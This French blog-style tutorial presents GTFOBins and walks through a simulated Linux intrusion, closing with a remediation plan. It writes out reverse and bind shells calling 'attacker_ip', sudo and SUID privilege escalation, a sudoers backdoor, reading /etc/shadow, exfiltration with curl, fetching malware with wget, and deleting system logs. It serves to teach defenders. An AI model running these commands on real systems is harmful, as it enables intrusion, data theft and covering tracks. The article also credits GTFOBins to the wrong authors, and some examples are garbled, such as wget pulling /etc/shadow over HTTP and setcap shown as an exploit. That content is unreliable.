GTFObins : Exploits Linux à Connaître Absolument

Si vous travaillez dans le domaine de la sécurité informatique, vous savez à quel point les petites failles peuvent devenir de grosses migraines. Imaginez un simple outil, installé sur presque toutes les machines Linux ou Unix, capable de transformer un utilisateur lambda en superutilisateur. Oui, ces binaires POSIX que l’on utilise tous les jours – pensons à tar, vim ou même bash – peuvent être des portes d’entrée vers des escalades de privilèges ou des contournements de sécurité.

C’est là que GTFObins entre en jeu. Cette incroyable base de données recense ces outils et explique comment ils peuvent être détournés pour exploiter un système. Mais ne vous méprenez pas : connaître ces failles ne sert pas seulement à hacker des systèmes, mais surtout à les protéger. À mon avis, tout bon administrateur système devrait explorer GTFObins, non pas pour casser, mais pour renforcer ses défenses.

Origine de GTFObins

L’histoire de GTFObins commence comme beaucoup de projets ingénieux dans le domaine de la sécurité : avec une idée simple mais brillante. À l’origine, deux chercheurs en sécurité, Federico Muttis et Daniel García, se sont posé une question fondamentale : pourquoi réinventer la roue à chaque fois qu’on cherche à exploiter un système ? Les binaires POSIX regorgent de fonctionnalités cachées (ou mal comprises) qui peuvent être détournées. Alors, pourquoi ne pas compiler toutes ces astuces au même endroit ?

C’est ainsi qu’est née GTFObins, un acronyme pour « Get The F* Out Binaries** », un nom qui reflète l’objectif principal : trouver des moyens astucieux d’échapper aux restrictions système en utilisant des binaires déjà présents.

Le projet a été lancé en 2018 sous forme de site web, permettant à la communauté de contribuer. Le principe est simple : chaque binaire ajouté est accompagné d’une description claire, de commandes exploitables, et parfois même de scripts prêts à l’emploi. Rapidement, GTFObins est devenu une ressource incontournable pour les pentesteurs et les administrateurs systèmes, mais aussi pour les chercheurs en sécurité.

Au départ, GTFObins a attiré surtout les professionnels de l’offensive security : ceux qui cherchent à exploiter des failles pour tester ou compromettre un système. Mais il s’est vite avéré que la base était tout aussi utile pour les défenseurs. Après tout, pour protéger un système, il faut connaître les outils que les attaquants pourraient utiliser.

À mon avis, cette double utilisation est ce qui rend GTFObins unique : il s’agit d’un véritable guide d’apprentissage pour comprendre comment les binaires peuvent être utilisés à la fois comme des outils et comme des armes.

Pourquoi est-ce encore pertinent aujourd’hui ?

Les systèmes POSIX, comme Linux et Unix, reposent largement sur des binaires standards qui sont souvent installés par défaut. Ces binaires n’ont pas été conçus pour être dangereux, mais leur polyvalence et leur flexibilité en font des cibles idéales pour les détournements. Malgré l’évolution des systèmes, les concepts documentés par GTFObins restent intemporels : tant qu’un système utilise ces binaires, les possibilités d’exploitation existeront.

De plus, la base de données est constamment mise à jour. Les contributeurs ajoutent régulièrement de nouveaux binaires et de nouvelles astuces, ce qui en fait une ressource vivante et dynamique. Cela signifie que même si vous pensez connaître tous les détournements possibles, il y a toujours quelque chose de nouveau à apprendre.

GTFObins répertorie divers types d’exploits possibles avec les binaires Unix, chacun permettant de contourner des restrictions ou d’escalader des privilèges.

Comment Consulter le Site GTFObins ?

Le site GTFObins est conçu pour être simple et pratique à utiliser. Il permet de trouver rapidement des informations sur les façons dont les binaires POSIX peuvent être exploités. Voici un guide pour en tirer le meilleur parti.

Pour accéder au site, rendez-vous à l’adresse https://gtfobins.github.io ↗. Sur la page d’accueil, vous trouverez une barre de recherche et une liste alphabétique des binaires documentés. Ces outils vous permettent de naviguer facilement et d’explorer la base de données.

Si vous cherchez un binaire spécifique, il vous suffit de taper son nom dans la barre de recherche. Par exemple, pour en savoir plus sur vim ou tar, entrez simplement leur nom et accédez à leur fiche dédiée. Si vous préférez explorer sans idée précise, vous pouvez parcourir la liste complète des binaires disponibles.

Chaque binaire possède une fiche qui explique en détail les façons dont il peut être exploité. Ces fiches incluent une description de l’utilisation classique du binaire, une liste des exploits possibles, et des commandes prêtes à tester. Ces informations sont précieuses pour comprendre comment un binaire pourrait être détourné.

Pour commencer, concentrez-vous sur les binaires les plus courants, comme bash, tar ou find. Ces outils sont souvent installés par défaut sur les systèmes Linux et représentent des cas pratiques faciles à expérimenter.

Exemple d’Exploitation avec find

Le binaire find, couramment utilisé pour rechercher des fichiers dans un système Linux, peut être détourné pour exécuter des commandes arbitraires grâce à sa fonctionnalité -exec. Cela peut permettre, par exemple, d’ouvrir un shell avec des privilèges élevés si le binaire possède le bit SUID (Set User ID) ou est utilisé avec des droits suffisants.

1. Rechercher un Binaire find SUID Commencez par vérifier si une version de find sur le système est marquée comme SUID (exécutée avec les privilèges de son propriétaire, souvent root) :

   find / -perm -4000 -type f 2>/dev/null

   Si le chemin vers find apparaît dans les résultats et appartient à root, il est potentiellement exploitable.

2. Exécuter un Shell avec find Une fois identifié, utilisez la commande suivante pour ouvrir un shell avec les privilèges du propriétaire du binaire :

   find . -exec /bin/sh -p \; -quit

   • -exec : Permet d’exécuter une commande pour chaque fichier trouvé.
   • /bin/sh -p : Ouvre un shell sans abandonner les privilèges SUID.
   • -quit : Arrête l’exécution après la première commande, rendant l’exploitation rapide et discrète.

Si le binaire appartient à root, cette commande peut ouvrir un shell avec les privilèges root. Cela permet à un attaquant de modifier des fichiers système critiques, ajouter des utilisateurs, ou exécuter d’autres actions malveillantes.

Les types d’exploits expliqués sur GTFObins

GTFObins est une ressource incontournable pour identifier les faiblesses dans les binaires POSIX standards. Ces failles sont regroupées en plusieurs catégories, chacune exploitant des mécanismes spécifiques pour contourner des restrictions ou escalader des privilèges. Voici un guide détaillé des principaux types d’exploits, avec des exemples concrets pour mieux les comprendre.

1. Shell Command

Les Shell Commands permettent d’exécuter des commandes système directement via des binaires. Cela peut inclure des tâches simples comme lister des fichiers ou des opérations plus complexes comme ouvrir un shell interactif.

• Exemple avec awk :

  awk 'BEGIN {system("ls /root")}'

  Impact :

  • Permet d’exécuter des commandes avec les privilèges de l’utilisateur ou du binaire concerné.
  • Si le binaire est SUID root, cette commande pourrait exposer des informations sensibles.

2. Reverse Shell

Les reverse shells établissent une connexion sortante depuis la machine cible vers une machine attaquante. Ils sont idéaux pour contourner les pare-feux qui bloquent les connexions entrantes.

• Exemple avec bash :

  bash -i >& /dev/tcp/attacker_ip/attacker_port 0>&1

  Impact :

  • L’attaquant obtient un accès distant interactif à la machine cible.
  • Utile dans les environnements restreints où les ports entrants sont bloqués.

3. Non-Interactive Reverse Shell

Similaire au reverse shell, mais sans interaction utilisateur directe, ce type d’exploit est utile dans des environnements sans shell interactif.

• Exemple avec nc :

  rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc attacker_ip attacker_port > /tmp/f

  Impact :

  • Fournit un accès distant sans nécessiter un shell complet.
  • Moins visible dans les journaux système, rendant l’attaque plus furtive.

4. Bind Shell

Un bind shell ouvre un port sur la machine cible, permettant une connexion entrante de l’attaquant.

• Exemple avec nc :

  nc -l -p 1234 -e /bin/sh

  Impact :

  • L’attaquant peut accéder à la machine en se connectant au port ouvert.
  • Risqué si le port est accessible publiquement sans restrictions.

5. File Upload et Download

Ces exploits permettent de transférer des fichiers vers ou depuis la machine cible, facilitant l’installation de payloads ou l’exfiltration de données.

curl -F 'file=@malicious.sh' http://target_ip/upload

Puis

wget http://target_ip/etc/shadow -O /tmp/shadow

1. L’attaquant envoie un malware (comme un script de reverse shell) sur la machine cible à l’aide de curl.

2. Une fois le malware activé, l’attaquant extrait des fichiers critiques (comme /etc/shadow) depuis la machine distante en utilisant wget.

3. File Read et Write

Les exploits de File Read et File Write permettent respectivement de lire ou d’écrire dans des fichiers protégés, souvent sans autorisation explicite.

• Lecture avec cat :

  cat /etc/shadow

• Écriture avec tee :

  echo "backdoor" | tee /etc/sudoers.d/backdoor

  Impact :

  • Lecture : Accès non autorisé à des informations sensibles comme des mots de passe.
  • Écriture : Modification de configurations critiques, facilitant une escalade de privilèges.

7. Library Load

Permet de charger des bibliothèques partagées pour exécuter du code arbitraire, souvent utilisé pour injecter des fonctionnalités malveillantes.

• Exemple avec LD_PRELOAD :

  LD_PRELOAD=/path/to/malicious.so command

  Impact :

  • Ajout de fonctionnalités malveillantes aux binaires standards.
  • Exploitation discrète des privilèges d’un processus.

8. SUID

Les binaires marqués avec le bit SUID s’exécutent avec les privilèges de leur propriétaire, ce qui peut être détourné pour obtenir des droits supérieurs.

• Exemple avec find :

  find . -exec /bin/sh -p \; -quit

  Impact :

  • Permet une escalade de privilèges si le binaire appartient à root.

9. Sudo

Certains binaires peuvent être exécutés avec sudo sans mot de passe, ce qui offre des opportunités d’exploit si mal configurés.

• Exemple avec vim :

  sudo vim -c ':!/bin/sh'

  Impact :

  • Permet d’obtenir un shell root via des permissions sudo mal configurées.

10. Capabilities

Les Linux Capabilities permettent de donner à des binaires des permissions spécifiques sans leur accorder tous les droits root, mais elles peuvent être mal configurées.

• Exemple avec ping :

  setcap cap_net_raw+ep /bin/ping

  Impact :

  • Exploitation des capacités pour effectuer des actions non autorisées.

11. Limited SUID

Certains binaires avec SUID limité peuvent être exploités pour effectuer des actions spécifiques avec des privilèges élevés.

• Exemple avec awk :

  awk 'BEGIN {system("/bin/sh")}'

  Impact :

  • Permet un accès shell avec des droits supérieurs.

Conclusion

Chaque type d’exploit documenté sur GTFObins représente un vecteur potentiel d’attaque, qu’il s’agisse d’exécuter des commandes arbitraires, d’escalader des privilèges, ou de voler des données sensibles. À mon avis, ces catégories montrent à quel point des binaires courants peuvent être transformés en outils d’attaque s’ils ne sont pas correctement configurés. Une vigilance constante et des audits réguliers sont essentiels pour protéger vos systèmes contre ces menaces.

Mise en œuvre d’une attaque en combinant différentes techniques d’exploit

Pour comprendre la portée des exploits disponibles sur GTFObins, explorons une attaque simulée étape par étape. L’objectif est de démontrer comment un attaquant pourrait combiner différentes techniques pour compromettre un système, escalader ses privilèges, et maintenir un accès persistant. Ce scénario illustre également pourquoi il est crucial d’identifier et de sécuriser ces failles.

Scénario d’attaque

1. Initialisation - Gagner un accès initial

L’attaquant accède à la machine via un fichier PHP mal configuré sur un serveur web.

• Exploitation : Reverse Shell avec PHP

  php -r '$sock=fsockopen("attacker_ip",1234);exec("/bin/sh -i <&3 >&3 2>&3");'

  Explication : Ce script PHP établit une connexion sortante (reverse shell) avec l’attaquant, donnant un accès shell.

• Impact : L’attaquant obtient un accès utilisateur avec les privilèges du processus web.

2. Exploration - Identifier les binaires exploitables

Sur la machine, l’attaquant recherche des binaires SUID et des configurations sudo permissives.

• Audit des binaires SUID :

  find / -perm -4000 2>/dev/null

• Vérification des sudoers :

  sudo -l

Résultats :

• find est SUID et appartient à root.
• vim peut être exécuté avec sudo sans mot de passe.

3. Escalade de privilèges - Obtenir un accès root

   • Option 1 : Exploitation du binaire SUID (find)

   L’attaquant utilise le SUID sur find pour obtenir un shell root :

   find . -exec /bin/sh -p \; -quit

   Impact : L’attaquant obtient un shell interactif avec les privilèges root.

   • Option 2 : Exploitation du sudo (vim)

   Si l’accès SUID est restreint, l’attaquant utilise vim via sudo :

   sudo vim -c ':!/bin/sh'

   Impact : Cette commande ouvre un shell interactif root.

4. Exfiltration - Lire des fichiers sensibles

L’attaquant utilise un exploit de File Read pour récupérer des informations critiques, comme les mots de passe hachés.

• Exemple avec cat :

  cat /etc/shadow

  Explication : Le fichier /etc/shadow contient les mots de passe hachés de tous les utilisateurs.

• Impact : Ces informations peuvent être utilisées pour une attaque brute force ou un accès ultérieur.

5. Maintien de l’accès - Installer une backdoor

Pour maintenir un accès persistant, l’attaquant installe un bind shell qui écoute en permanence.

• Exemple avec nc :

  nc -l -p 4444 -e /bin/bash

  Explication : Cette commande ouvre un port 4444 sur la machine cible, permettant à l’attaquant de se connecter à tout moment.

• Impact : Même après un redémarrage ou une modification des privilèges utilisateur, l’attaquant peut retrouver l’accès.

6. Nettoyage - Effacer les traces

L’attaquant supprime les journaux pour éviter d’être détecté.

• Suppression des journaux système :

  rm -f /var/log/auth.log
  rm -f /var/log/syslog

  Impact : Les administrateurs auront du mal à retracer l’attaque.

7. Finalisation - Exfiltration de données

Pour couronner son attaque, l’attaquant télécharge des fichiers sensibles.

• Exemple avec wget :

  wget http://attacker_ip/malware.sh -O /tmp/malware.sh

• Exemple avec curl pour upload :

  curl -F 'file=@/etc/passwd' http://attacker_ip/upload

Plan de remédiation pour contrer ce genre d’attaques

1. Limiter les permissions SUID

   • Identifiez les binaires inutiles avec SUID :

     find / -perm -4000 2>/dev/null

   • Désactivez les SUID inutiles :

     chmod -s /usr/bin/find

2. Restreindre les privilèges sudo

   • Revoir les configurations dans /etc/sudoers :

     visudo

   • Évitez les permissions sans mot de passe pour des commandes interactives comme vim.

3. Bloquer les outils d’exploit

   • Désactivez l’accès à nc, wget, et curl si non nécessaires.
   • Supprimez les interpréteurs non requis comme php ou python.

4. Configurer un pare-feu

   • Restreignez les connexions sortantes pour éviter les reverse shells :

     ufw deny out to any port 1234

5. Mettre en place un IDS/IPS

   • Déployez des outils comme Snort pour détecter les tentatives de reverse shell ou de bind shell.

6. Surveiller les logs

   • Configurez une surveillance des journaux pour détecter les anomalies.

   • Exemple de commande pour rechercher les connexions suspectes :

     grep "connect" /var/log/syslog

Conclusion sur l’attaque simulée

Cette simulation montre comment un attaquant peut utiliser plusieurs techniques pour escalader les privilèges, exfiltrer des données, et maintenir un accès persistant. Chaque étape met en lumière des faiblesses spécifiques qui doivent être adressées par des audits réguliers, une surveillance active et une gestion stricte des permissions. À mon avis, anticiper ces scénarios est essentiel pour protéger vos systèmes contre les attaques du monde réel.

Conclusion finale

Les exploits listés sur GTFObins illustrent comment des outils ordinaires peuvent devenir des vecteurs d’attaque si leur usage ou leur configuration est mal maîtrisé. Que ce soit pour comprendre les mécanismes d’escalade de privilèges, contourner des restrictions ou détecter des configurations à risque, il est évident que maîtriser ces concepts est indispensable pour tout professionnel de la sécurité ou administrateur système.

À mon avis, la meilleure défense est une formation continue. En apprenant à identifier et comprendre ces exploits, vous serez mieux armé pour les prévenir et sécuriser vos infrastructures. Mais la théorie ne suffit pas : il faut la compléter avec des outils adaptés.

N’oubliez jamais que GTFObins est un outil éducatif. Utilisez-le dans un environnement sécurisé, comme une machine virtuelle, et uniquement dans le but de renforcer vos compétences en sécurité. Vous pourrez ainsi mieux identifier et corriger les failles potentielles sur vos systèmes.

Des solutions comme Lynis permettent d’automatiser les audits de sécurité et de détecter les mauvaises configurations qui pourraient ouvrir la porte à des attaques. Vous pouvez consulter mon article détaillé sur Lynis et son usage pour l’audit des systèmes pour découvrir comment l’intégrer à vos pratiques.

En fin de compte, la sécurité est un processus itératif. Plus vous identifiez et comblez les failles, plus vous renforcez vos systèmes face aux menaces actuelles et futures. Adoptez des outils performants, formez-vous régulièrement, et surtout, ne sous-estimez jamais le potentiel des exploits documentés : ils sont là pour vous apprendre à mieux défendre.